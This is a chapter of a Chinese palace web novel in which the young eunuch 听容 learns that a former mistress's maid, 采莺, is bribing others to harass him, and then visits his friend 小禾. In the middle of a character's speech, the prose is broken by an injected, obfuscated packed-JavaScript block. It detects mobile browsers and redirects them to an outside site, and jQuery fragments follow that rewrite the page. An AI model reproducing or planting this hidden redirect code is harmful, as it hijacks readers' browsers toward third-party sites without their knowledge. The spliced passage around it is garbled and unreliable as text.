18.第18章

作品:《踩骨登阶

    待听容把蜜瓜吃完,严昱祉才重新拿回食盒。


    “你什么时候休值?”严昱祉问他。


    今天的严昱祉又换回了黑色的衣裳,窄袖的衣服比宽袖更适合他。


    听容没回答,只是看着他,等于是在问他问这个做什么?


    严昱祉没有觉得被冒犯,回道:“听小禾说邀你休值到致书堂玩,我得知道你什么时候休值,好让小禾准备些吃的招待你。”


    “不必麻烦。”听容其实从没想过要去致书堂找小禾,“我只是个奴才,小禾好意相邀,我没办法拒绝。但其实即便休值那日,我也不能乱走的。”


    严昱祉沉默了片刻,他清楚这些都是托辞,比起宫女,太监如果离宫,是找不到其他活计的,所以需要攒足够的银子,等年纪大了好离宫度日。但在宫里,太监的自由度是比宫女高的,他们可以在休值这日请求出宫采买,只是能不能轮得上就另讲了。


    听容的托辞明显是不愿意与他们走得太近,这倒是不多见的。作为奴才,想在这个宫里活得久,就得找一个好主子。但听容似乎没有意识到这一点,一点儿都不知道主动。


    听容的话说得含蓄,严昱祉也没有直白地问。只说:“小禾跟着我进宫,被关得憋闷。难得他跟你投缘,我倒希望你们能多接触,这样他也能多个说话的人。”


    这是听容没想到的,对他来说,小禾给他送吃的,跟他说话,请他去致书堂,是小禾心好,心思简单,为人热忱。却没想过自己对小禾来说可以算是投缘的那个。


    听容有些动容,“朋友”这个词跳进了他的脑海。在村里时,他一个朋友都没有,爹娘不让他出去玩,也不允许他到别人家做客,所以他没朋友。进宫这一路,他认识了被廉公公挑走的符安,符安会跟他闲聊,在他情绪不好的时候安慰他,鼓励他在宫里好好生活,不要气馁。算是他长这么大以来第一个可以认为是朋友的存在。


    现在,可以多一个小禾吗?


    严昱祉没再多说,提着食盒离开了。


    听容站在那里想了许久,小禾是小厮,而他是个太监,或许是出于身份差距,又或者是他不愿意把小禾拉进自己心底“恨”的情绪里,污染了那份真挚,他没办法那么坦然地与小禾成为朋友。但小禾的好心他是感念的,如果可以,也愿意回报一二。


    *


    勤耕苑琐碎的日常劳作日日相似,听容瓜果的苗子越发壮实,打心底里觉得喜悦,这是靠天吃饭的农家子的多年养成的习惯,苗长得好,就能让人他心里喜悦,即便这些东西根本轮不上他吃。


    刘柏站在地里,看着上升的日头,反倒是一脸愁容。


    “公公这是怎么了?”听容看到了不能装没看到。自上次他给刘柏出了注意后,刘柏对他的态度也要比对旁人好些。


    “这都多久没下雨了?”


    他不说,听容还真没多想。宫里不缺水浇地,也没有小溪让他留意水流大小,自然缺少感知。


    “好像……真的好久了。”听容的记忆都开始模糊了,白净的没被晒黑一点的脸跟着抬头看日头,今日依旧是万里无云。


    刘柏叹气:“若这样下去,今年农家的收成怕是要糟。”


    他说这话,听容还挺意外,没想到刘公公居然这样心系百姓。


    刘柏看出了他没藏的心思,笑道:“我也是农家子出身,进宫后就一直在勤耕院干活儿,对老天肯不肯赏脸还是上心的。”


    “如果总不下雨,应该会举行祈雨仪式吧?”听容不知道京中有没有,反正他们村是有的。


    “肯定啊。若是多个地区都无雨,宫里也会请僧人举行仪式,皇上会亲自前往。”


    这对听容来说与他关系不大,他听一听就罢了。


    浇完地里的水,太阳升得高高的,勤耕苑的小太监们都坐在廊下躲着,一人分了一个梨子。


    “这梨子水份挺足,可就是一点儿都不甜。”


    “要是够甜,还能轮到咱们吃?”


    “库里还有好多,也不知道什么时候能吃完。我现在看到梨子都有些腻了。”


    “往年结的梨子味道都挺好的,去年这一茬也不知道怎么了,不仅不甜,还长得丑。”


    听容边吃梨边听他们闲聊。这些梨是勤耕苑去年收的。耕地边缘都种了果树,每年的收成说不准,去年这批梨收了拿不出手,就放库里存着了,想着要是尚膳房能用,也是个去处,结果尚膳房也没动静,一直搁到现在,再不吃完等天再暖些,就要烂完了,这才轮到他们。


    这些丑梨子比不得严昱祉给他拿的那碟蜜瓜,可对听容来说,有得吃就是好的,毕竟在家那会儿,他也没吃过几个梨。


    刘柏也跟他们一起啃梨,只是不说话。


    有个小太监看了看听容,又看了看刘柏,犹豫了好一阵儿,才开口:“听容,你最近是不是得罪人了?”


    听容愣了愣,说:“我从来了勤耕苑,天天与你们一处种地,能得罪谁?”


    “也是。”小太监琢磨了一会儿,继续说,“刚才我从外面回来,被一个宫女叫住了,向我打听你的情况。然后要塞银子给我,说让我给你使点绊子,别让你太好过。如果办好了,会再给我赏钱。”


    刘柏眉头一皱,还没等他开口,小太监就忙道:“我没敢接,就直接跑了。”


    听容第一个反应就是庄贵妃,因为孔量被打发了,要重新找人。不过对方是贵妃,就算想办这个事,还能光天化日地在勤耕院门口找人吗?


    再说,有了孔量的前车之鉴,就算他们不知道他和孔量有什么仇怨,就刘公公处理事情态度来看,他们也不敢造次,至少短时间内不敢,所以逃走是必然的。


    “对方长什么样子?”听容问。


    “倒是没什么特别的……”小太监回忆着,“她戴了一对红石榴似的耳环。哦,对了,鼻梁上还有一个小小的痣!”


    听容立刻想到了采莺。


    “你认识?”刘柏问他。


    听容点点头,小声说:“是我前主子的贴身侍女,不过我与她并无冤仇,她找我麻烦做什么?”


    刘柏从没明说,可他心里很清楚听容是怎么被调到这儿来的,作为管事,如果这点打听事的本事都没有,位置也坐不稳。


    于是他站起身,对手下的小子们道:“咱们勤耕苑虽算不上宫里顶好的去处,但只要你们安分,也能平安度日。我向来不管你们那些弯弯绕,谁要是有本事从这儿爬出去,我也赞你们一句是有脑子的。可若是谁想往上爬,或者多拿那三瓜俩枣的银子,而坏了苑里的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213930|196333||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    规矩,害了同在苑里辛苦的同僚,就别怪我不客气了。”


    “是。”大家齐声应着。


    刘柏又指了指刚才的小太监:“你这事办得不错,你们以后若再遇上这种事,定要同我说一声。我不挡你们的青云路,你们也别碍我的独木桥。”


    听容琢磨了一下午,还是没想到自己哪里得罪了采莺。不过只要不是庄贵妃派人来整他,倒还不算太危险。若是找到机会他能见到芷月问一问,或许会有答案。


    勤耕苑采用轮休,每十日休一日,今日轮到听容休值。他没什么安排,吃过早饭后想着问问大家托哪位公公能帮忙从外面带些吃的。


    不过还没等他问呢,小禾就出现在了勤耕苑。


    小禾笑得还挺不好意思:“我打听过了,你今天休值,特地来找你玩。”


    小禾不是太监,进后宫不方便,要到勤耕处就得避开六宫,绕一个大远路。


    听容猜那天他和严昱祉说的话,严昱祉并没有告诉小禾,所以小禾才会来。


    其实见到小禾,听容还是挺开心的,不用待在勤耕处,又不至于没处可去,倒有种出去串门的感觉。只不过一个门串到皇子所,的确让人有压力。


    跟刘柏报了自己的去处,听容就跟着小禾离开了。两个人依旧绕着远路,甚至一路都没说什么话,可听容并不觉得无聊,也不觉得路远。


    进了致书堂,严昱祉不在。


    听容随口问道:“严公子去学堂了?”


    小禾笑道:“没有,公子出宫买东西去了。”


    “怎么没带你?”听容想着严昱祉说小禾不喜欢宫中拘束,既然出宫了,没理由不带小禾。


    小禾端上茶水和点心,请他坐:“我和公子轮着出宫才不点眼,这样出去的次数还能多些。”


    “原来如此。”听容倒没想过让小禾帮他带吃的,虽然这是个现成的人选,但说不定过几天小禾就跟着严昱祉回南边去了,不是长久之选。


    “你换了地方,我的果脯没了,找你也不方便。”小禾坐到他身边,孩子气地说,“你什么时候才能调到一个我好找的地方呢?”


    听容笑道:“这事我说得不算啊。”


    “我前几天跟公子提了,希望他想想办法。”小禾把点心往听容那推了推,示意他吃,“可公子说你得靠自己。别人帮你调了职,但你不是不可或缺的那一个,遇上事就是第一个被舍弃的,还不如安居一隅。只有你凭自己挣出一条路,主子从一开始就觉得需要你,才不容易被舍弃。”


    小禾的话可能只是跟他陈述一个实事,却给了听容不小的启发。之前芷月将他引荐到长宁宫,并不是循才人非他不可,只是长宁宫需要一个太监,不是他,是别人也可。加上循才人的性格,即便他努力获得认可,出了事依旧不会被保。


    “严公子说得很是。”听容微笑道。


    “我是不知道公子说得对不对,我还是希望能找你方便一些。”小禾说,“我看着你都累瘦了。”


    听容笑意深了些:“其实我在勤耕苑过得还不错。”


    “好在哪儿?”小禾不解。


    听容想了想,逗他说:“有丑梨子吃。”


    小禾瞪大了眼睛,一脸“这算什么好”的表情,倒是把听容逗乐了。